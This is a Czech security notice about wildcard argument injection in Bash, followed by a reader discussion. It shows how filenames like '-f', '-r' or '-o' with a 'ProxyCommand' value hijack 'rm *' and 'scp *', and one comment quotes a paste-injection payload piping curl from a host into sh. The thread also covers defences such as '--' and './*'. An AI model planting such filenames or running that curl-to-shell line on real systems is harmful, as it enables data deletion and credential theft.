Pozor na používání * v Bashi

Používání * v Bashi může být hodně nebezpečné. Například použití příkazu rm -i *. Nepředpokládá se, že by příkaz mazal také adresáře. Pokud se ale v aktuálním adresáři nacházejí soubory -f a -r, adresáře jsou bez potvrzení smazány. Použití * může vést také k nechtěnému spuštění příkazů. Stačí si například stáhnout archiv s webovou aplikací, archiv rozbalit a pomocí příkazu scp * soubory zkopírovat na webový server. Pokud byly v archivu soubory se jmény "-o", "ProxyCommand sh supercool.sh %h %p" a "supercool.sh", tak spuštěním příkazu scp * byl spuštěn také skript supercool.sh, který mohl odeslat soukromé klíče, hesla a další citlivé informace útočníkovi. Více na Dicesoft.net.

24.6.2014 06:55 | Ladislav Hagara | Bezpečnostní upozornění

Komentáře

[Karry]

Pekny vektor utoku Primo do Bashe by bylo mozne implementovat dotaz, jestli opravdu chci prikaz provest,pokud "rozbaleni" hvezdicky obsahuje soubory zacinajici pomlckou...

[Zopper]

Nejen do Bashe. Tohle je problém všech expanzí, ať už Bash, ZSH, nebo něco jiného... Hvězdička to expanduje na parametry a program už nemá jak rozlišit, jestli tam to "-rf" zadal uživatel ručně, nebo se tam doplnilo expanzí. Všechno je to v jednom char** argv.

Ale ta kontrola by mohla fungovat.

[smazáno]

rm -f -- *

[Zopper]

No, ale tohle vyžaduje, aby to ten program znal, není to věc shellu, že? A zvládají to ošetřit běžně používané knihovny na parsování argumentů? A i pokud zvládají, tak nikdy nevím, jestli nějaký programátor nepoužil vlastní výtvor na parsování argumentů a tohle neřeší.

Takže to můžu použít pro programy, kde vím, že to funguje (hlavně rm), ale nedá se na to spoléhat.

[Josef Kufner]

Knihovny na parsování argumentů to podporují snad všechny, neboť ti co je tvoří si tohoto problému jsou vědomi.

[Jardík]

Např "echo" to nebere. V bashi echo žere -e a -n a je tak nemožné napsat to "-n" a "-e" pomocí echo. -- to nežere a klidně vypíše. V busyboxím ashi echo "-e" nežere, pouze "-n". Naštěstí tu máme printf, které funguje u obou. Taky bacha na žraní nových řádků, když dáváte výstup programu do proměnné, někdy to může mít nežádoucí účinky, třeba když v názvu souboru je znak nového řádku. Pomůže třeba zase printf s přidáním třeba znaku 'x' na konec a následným odstraněním:

MEOW=$(printf 'meow \n'; printf 'x')
MEOW="${MEOW%x}"

[Fuky]

V bashi echo žere -e a -n a je tak nemožné napsat to "-n" a "-e" pomocí echo.

$ echo -e '\x2dn'
-n
$ echo -e '\x2de'
-e

[Mti.]

kdyby nevadila mezera navic...

echo -e \ -e

[Jardík]

Jenže problém je pak, že to zase nefunguje v busyboxu (ash), protože -e prostě "neumí". Je to teda z bláta do louže a pomůže tak akorát nezkriplený printf.

[Fuky]

$ busybox echo --help
BusyBox v1.20.2 (Debian 1:1.20.0-7) multi-call binary.

Usage: echo [-neE] [ARG]...

Print the specified ARGs to stdout

	-n	Suppress trailing newline
	-e	Interpret backslash escapes (i.e., \t=tab)
	-E	Don't interpret backslash escapes (default)

$ busybox echo -e '\x2de'
-e

[Jardík]

To mě po*er. V čem mi to teda nefungovalo? Ještě jsem vlastně nedávno dělal něco ve FreeBSD, vyzkouším tam.

[Jardík]

Aha, nevyzkouším. Už jsem tu virtuální mašinku smazal :/

[Jardík]

Takže podpora -e je v busyboxu volitelná, jde vypnout. Proto to v mým ashi na druhé mašině nefungovalo.

[Stevko]

To musí podporovať príkaz samozrejme. Lepšejšie je rm ./*

[geri]

Pokial si dobre pamatam tak argument -- ukonci blok argumentov a tym by injekcia dalsich argumentov z nazvou suborou mala byt blokovana. Ale momentalne to nemam ako vyskusat.

[geri]

Tak Luv to dal predomnou :)

[David Heidelberg]

uzasny, to se hodi. Nedavno jsem nekde v nejakem HOWTO zahledl dve pomlcky a rikal si k cemu to je :) Diky za info!

[Loki]

Stary, ale stale dobry

[xvasek]

To je jedna z těch věcí, která je sice všem v podstatě jasná a že to tak funguje by nejden i předpokládal, na druhou stranu ale málokdo bude zkoumat, jestli v daném případě hvězdička něco nerozbije.

[Wow]

To jako že názvy souborů intepretuje jako parametry sama sebe? Skvělá vychytávka, jen co je pravda. Pak že programátoři neberou drogy :)

[R]

Ked sa ti to nepaci, tak pouzivaj Windows. Tam program dostane "*" a bud implementuje nieco sam (kazdy inak zle) alebo skonci s chybou...

[xkucf03]

Totéž můžeš mít v GNU/Linuxu nebo jiném systému -- stačí psát '*' a nechat to expandovat až v programu (ten to samozřejmě musí podporovat) a ne v shellu -- navíc můžeš použít třeba regulární výrazy nebo jiné vzory.

[xkucf03]

Argumenty příkazu jsou jen pole textových řetězců -- může v nich být cokoli a jak se to bude interpretovat je věc toho programu, ne shellu. A program už dostává expandované hodnoty (např. ty názvy souborů), ne žádnou hvězdičku nebo $promenné.

Tohle si musí ošetřit uživatel -- např. si nejdřív vypsat hodnoty, zkontrolovat a až pak pouštět nějaký potenciálně nebezpečný příkaz.

Autor programu mu tam maximálně může přidat volbu typu "--", za kterou se už další volby neinterpretují a zbytek pole se bere třeba jako seznam souborů. A autor shellu s tím nemůže dělat vůbec nic, protože nemůže rozumět všem parametrům všech příkazů.

[ced]

To nedělá program, ale ta * v interpretu. Interpret ji interpretuje například na jména souborů, který když začíná znakem pro parametr (-), tak program nemá šanci zjistit že je není parametr. Dostává to již zpracované (tedy ne *).

Je to bohužel vlastnost. Nevím, jestli v době, kdy ta myšlenka (vlastnost) vznikla mohl soubor začínat znakem '-'. S těmi drogami bych byl proto opatrný

[Wow]

Tak jich moc neber :) No já chápu jak to vzniklo, to mi bylo jasné hned, nicméně bych to udělal jinak. Ono někdy některé omezení nejsou na škodu. Např. je fajn, že můžu mít v názvu souborů znaky které ve Windows nemohu. Ovšem napsat potom blbuvzdorný skript je prakticky nemožné, vždycky bude někdo, kdo vymyslí lepší fintu než se kterou jsi počítal.

[Conscript89]

treba program, u ktereho prepinace nezacinaji minuskem, viz BSD styl. Co zakazeme potom?

[ewew]

Toto sa mi už raz stalo.

[Jendа]

Inspirace. Taky je dobrý jen tak bez rozmyšlení zkopírovat odkaz, napsat do terminálu "wget" a pastnout to.

[AsciiWolf]

Proto link, který do terminálu pastuji, dávám vždy do uvozovek...

[pavlix]

Dobré vědět. Kdybych na tebe útočil, vím, že musím přidat uvozovky.

[Bystroushaak]

+1 :D

[Jendа]

To už v URL asi nepůjde, minimálně Firefox je zakóduje do %22.

[mkmm]

Ke vkladani do bashe se hodi C-x C-e, tim se otevre editor z promenne $EDITOR, do nehoz lze vlozit text, prohlednout, pripane upravit a po ulozeni se zavrenim se prikaz provede. Takze treba pro vim staci C-x C-e, vlozit, ZZ (nebo ZQ) a hotovo.

[pavlix]

Hezké...

[Jendа]

Až na to, že když se otevře vim a ve vkládané sekvenci je esc:!curl b.nsalitomerice.cz|sh, tak jsme přesně tam, kde jsme byli.

[mkmm]

A hrome, budu si muset napsat sanitizer na vkladlani.

[xkucf03]

jj, tohle by chtělo spíš podporu v Konsoli (a jiných emulátorech terminálu) -- klávesovou zkratku, která vloží obsah schránky do nového okna, kde budeš moci příkaz zkontrolovat a doupravit a pak teprve vložit do terminálu.

[Marble]

Záleží ... to funguje jen při vložení myšítkem do terminálového vimka. V případě gvim nebo vložení přes "*p (příp. "+p) se prostě escape objeví v obsahu souboru.

[mkmm]

Tohle ve .vimrc pri vkladani z bashe odstrani ze schranky vsechno krome ascii 32-126:

au BufRead /tmp/bash-fc-* | silent execute '!test "$DISPLAY" && xsel | tr -dc "\040-\176" | xsel' | redraw!

[Jendа]

Jinak moc by se mi líbilo, kdyby se rozšířil nějaký použitelný objektový shell. PowerShell je objektový, ale přišlo mi to trochu psychedelické. Představoval bych si něco jako současný bash, ale jenom „lepší“.

[pavlix]

Uvažoval jsem nad tím hodněkrát, a smysluplný objektový shell vyžaduje unifikaci. Pokud by všechny používané programy vracely nějaké serializované objekty, pořád máš problém s tím, že jsou ty objekty neaktivní. Osobně bych tak předpokládal, že objektový shell musí být řízený nějakými běžícími službami.

Objektový shell je podle mě jen jiný název pro interaktivního IPC klienta nad nějakým objektovým IPC modelem. Pokud by dbus nebyl tak debilně navržený jak je (každý objekt má hromadu namespaces, často se stejnojmennými metodami/atributy), mohl bys při troše snahy postavit interaktivního dbus klienta a považovat za takový linuxový PowerShell.

[Tom.š Ze.le.in]

Třeba eshell lze skoro přímo použít jako replacement shellu, a z určitého úhlu pohledu objekty zvládá. (relevantní xkcd)

Jinak jsou (byli?) i lidi co zkouší jako shell používat Common Lisp - http://www.clisp.org/clash.html.

[JS1]

Nechces o tom napsat nejaky blogpost? Taky me to zajima. I kdyz mne by se libilo neco priblizujiciho se Haskellu..

Ale myslim, ze to co by bylo potreba spis udelat je promyslet standardni GNU/Linux utility, aby vracely objekty (nebo alespon strukturovana data) a ne text. To je slozitejsi zalezitost nez jen shell.

[deda.jabko]

Ale myslim, ze to co by bylo potreba spis udelat je promyslet standardni GNU/Linux utility, aby vracely objekty (nebo alespon strukturovana data) a ne text

Ja mam radu utilit namapovanych jako funkce ve Schemu. Co radek textu, to jedna polozka seznamu, ta struktura uz z toho obvykle vyplyne. Neni to uplne nejrychlejsi, ale da se s tim pracovat vyraznej pohodlneji nez v bashi.

[Jendа]

Nechces o tom napsat nejaky blogpost?

Já o tom vůbec nic nevím. Říkej to panu Zeleninovi (sorry, ale ty tečky k tomu tak svádí) výše.

To je slozitejsi zalezitost nez jen shell.

Jo jo… ten ekosystém okolo…

[Hans1024]

Napiste Lennartovi, ten to prida do systemd a ekosystem se bude muset prizpusobit

[xkucf03]

Já bych uvítal SQL rozhraní k operačnímu systému (a některým aplikacím). Spousta těch dat má totiž tabulkovou strukturu resp. jsou to různě propojené relace (procesy, síťová spojení, uživatelé, skupiny, připojené souborové systémy, různé konfigurace atd.). Pak bys nemusel dělat restrikci a projekci pomocí grepu a cutu a nemusel bys neustále parsovat a serializovat textová data -- byly by jasně dané hranice mezi sloupci, mezi řádky. Kromě tabulek by tam byly i SQL funkce/procedury pro zjišťování různých informací, výpočty, nebo i provádění aktivních operací (např. vytvoření souboru, uživatele, ping).

Trochu už jsem to promýšlel, ale k implementaci jsem se zatím nedostal...

[Bystroushaak]

No, ono se dá jít i dál. Nejenom informace o systému, ale všechno. Unixová filosofie /sys a /proc je sice fajn, ale stále pěkně debilní právě z důvodů které jsi popsal + taky k tomu, že tam silně chybí sémantika a builtin help, který je s trochou štěstí někde vedle v manu.

Osobně jsem často přemýšlel nad systémem, kde je všechno objekt a všechny informace jsou strukturované, s dokumentací a jasně danými parametry. Pak mi došlo, že to už existuje a tak jsem se nedávno začal učit smalltalk/pharo.

[xkucf03]

Chce to najít nějakou rozumnou míru mezi programováním a používáním -- ono by jinak stačilo vzít skoro libovolný (objektový) programovací jazyk a k němu dopsat pár knihoven a máš to. Ale to by se z uživatele musel stát programátor. To SQL mi přijde celkem stravitelné i pro běžné uživatele -- tabulky si dokáže představit, začne jednoduchými SELECTy, a pak se snadno naučí vybírat konkrétní sloupce (projekce), psát jednoduché filtry ve WHERE (restrikce), případně i nějaký ten JOIN. Dá se to učit za chodu a není to o nic těžší než napsat unixovou rouru, ve které je grep a cut.

[Bystroushaak]

No, já třeba SQL nemusím vidět do konce života a vůbec mi chybět nebude (ne že bych ho nesnášel, jen je mi prostě lhostejné). To co jsi popsal je taky programování, jen silně omezený subset. Další věc je, že SQL je na tohle zbytečně složité, neboť nepotřebuješ dělat velmi komplikované dotazy a navíc je celé tak nějak tabulkově orientované. Což by teda tyhle data byly taky, jen bys měl ve většině tabulek jeden řádek.

Imho by se pro tyhle data podstatně víc hodilo asociativní pole, nebo jeden objekt, kde je všechno možné systémové info. Některé jazyky to tak skutečně mají (třeba REBOL a nebo ten smalltalk).

[xkucf03]

To co jsi popsal je taky programování, jen silně omezený subset.

Je to hlavně deklarativní, což je pro výběr dat IMHO ideální -- schválně si porovnej nějaký SQL dotaz s ekvivalentním dotazem nad NoSQL databází (napsaný třeba v procedurálním/funkcionálním JavaScriptu).

Další věc je, že SQL je na tohle zbytečně složité, neboť nepotřebuješ dělat velmi komplikované dotazy

U takového nástroje bych nečekal plnou podporu nejnovějšího SQL standardu. Stačila by omezená podmnožina tohoto jazyka.

navíc je celé tak nějak tabulkově orientované. Což by teda tyhle data byly taky...

Právě že tabulkově orientovaných je většina dat -- velice často se používají různé textové výpisy, co řádek, to záznam a uvnitř řádků je nějaká další struktura -- oddělená mezerami, tabulátory, |, čárkami atd. a dneska se to musí parsovat na úrovni textu.

Totéž platí pro logy -- ty textové jsou často implementované blbě, takže se dají použít leda jako protokol pro zpětné dohledávání věcí a čtení člověkem, ale ne pro strojové zpracování, protože hodnoty mohou přetékat, jak buňky, tak řádky -- buď se to rozbije neúmyslně nebo dokonce někdo může injektovat hodnoty do logu tak, aby to vypadalo, že se stalo něco jiného, než co se ve skutečnosti stalo.

...jen bys měl ve většině tabulek jeden řádek

Záleží, co je to za data, s tím by si šlo vyhrát, šlo by sloučit víc věcí do jedné tabulky a filtrovat podle klíče. Některé věci taky vůbec jako tabulka být nemusí -- může to být funkce, kterou si zavoláš pro řádky jiné tabulky nebo samostatně.

Imho by se pro tyhle data podstatně víc hodilo asociativní pole, nebo jeden objekt, kde je všechno možné systémové info.

Obecně to jeden objekt být nemusí, ale občas bude problém s tím, že data budou spíš stromová než tabulková (soubory, procesy), resp. hůř se s tím pracuje jako s tabulkou, protože klasické SQL na to moc vhodné není -- chce to SQL funkce pro práci se stromy (CTE) a ani tak to není úplně dokonalý nástroj.

Ale je otázka, co převažuje, IMHO spíš ty tabulky než stromy, takže by se SQL vyplatilo.

U hodně stromů taky zjistíš, že to nejsou obecné stromy s nekonečnou rekurzí a amorfní strukturou, ale že je to prostě několik relací s dobře definovanou strukturou a propojených přes cizí klíče -- např. síťová rozhraní a IP adresy a jejich atributy.

Pro stromová data by šlo dobře použít XML a pak nad tím volat XPath dotazy (dotazování jako SQL) nebo pouštět XQuery (to už je víc programování). Zrovna teď si píšu takový nástroj na načítání různých dat jako XML -- v podstatě to jsou SAX parsery pro různé formáty a jeden z nich bude souborový systém (místo jednoho souboru to čte adresář a jeho obsah), takže na výstupu dostaneš XML (resp. proud SAX událostí, ani to není potřeba serializovat na text s nějakými ostrými závorkami, dá se to zpracovat ještě jako objekty resp. volání metod/události) obsahující informace o souborech včetně rozšířených atributů případně i s obsahem těch souborů a budeš to moci filtrovat pomocí XPath dotazů nebo transformovat v XSLT, případně i validovat v XSD/RelaxNG/... (to by občas taky dávalo smysl -- zvalidovat si adresář, jestli obsahuje přesně to, co má) a další věci. Tohle by se v SQL dělalo dost těžko.

[pc2005]

Obligatory xkcd.

[Ladislav Hagara]

Pomoc, jsem zavřená v továrně na řidičáky